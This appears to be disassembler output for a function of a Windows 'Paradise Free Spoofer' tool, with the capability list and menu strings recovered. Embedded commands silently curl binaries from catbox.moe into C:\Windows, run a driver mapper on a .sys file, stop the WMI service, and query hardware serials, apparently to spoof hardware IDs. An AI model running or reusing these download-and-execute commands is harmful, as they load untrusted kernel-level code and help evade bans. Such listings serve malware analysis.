Function at 0x1400112df
Capabilities:
Delete file
Execute command
Set console window title
Terminate process

Disassembly:
jmp 0x1400122f0
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x1400250f4]
call fcn.1400113fc
nop
lea rcx, str.Paradise_Free_Spoofer
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
nop
lea rdx, str.Welcome_to_Paradise_Free_Woofer_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, str.Spoofing_Is_Loading..._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [0x14001bd24]
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rdx, str._n_n__1__Temp_Spoof_n__2__Clean_n__3__Check_Serials_n__4__Exit_n_n_Choose_option:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
nop
mov eax, dword [rbp + 4]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 1
je 0x1400123ee
cmp dword [rbp + 0xd4], 2
je 0x140012472
cmp dword [rbp + 0xd4], 3
je 0x14001249c
cmp dword [rbp + 0xd4], 4
je 0x140012590
jmp 0x140012599
lea rcx, str.curl___silent_https:__files.catbox.moe_unnwt8.bin__o_C:Windows_temp.sys__nul
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.curl___silent_https:__files.catbox.moe_xuj8oq.bin__o_C:Windowsmapper.exe__nul
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.C:Windowsmapper.exe_C:Windows_temp.sys
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.net_stop_winmgmt__y
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.C:Windows_temp.sys
call qword [sym.imp.ucrtbased.dll_remove]
nop
lea rcx, str.C:Windowsmapper.exe
call qword [sym.imp.ucrtbased.dll_remove]
nop
mov edx, 0x1f4
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
nop
xor r9d, r9d
lea r8, str.Paradise_Spoofer
lea rdx, str.Spoofing_is_done
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
jmp 0x1400125ad
lea rcx, str.curl___silent_https:__files.catbox.moe_y9cisa.sys__o_C:Windowscleaner.exe__nul
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.C:Windowscleaner.exe
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.C:Windowscleaner.exe
call qword [sym.imp.ucrtbased.dll_remove]
nop
lea rdx, str.Disk_Drive_Serials_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
lea rcx, str.wmic_diskdrive_get_model__serialnumber
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rdx, str.CPU_Serials_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
lea rcx, str.wmic_cpu_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rdx, str.BIOS_Serials_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
lea rcx, str.wmic_bios_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rdx, str.Motherboard_Serials_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rdx, str.UUID_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
lea rcx, str.wmic_path_win32_computersystemproduct_get_uuid
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rdx, str.MAC_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
lea rcx, str.getmac
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rdx, str.Press_any_key_to_go_back_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
lea rcx, str.pause_nul
call qword [sym.imp.ucrtbased.dll_system]
nop
call fcn.1400112df
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rdx, str.Invalid_option._Please_try_again._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001bc00]
call fcn.14001138e
mov rax, rdi
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.14001120d
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret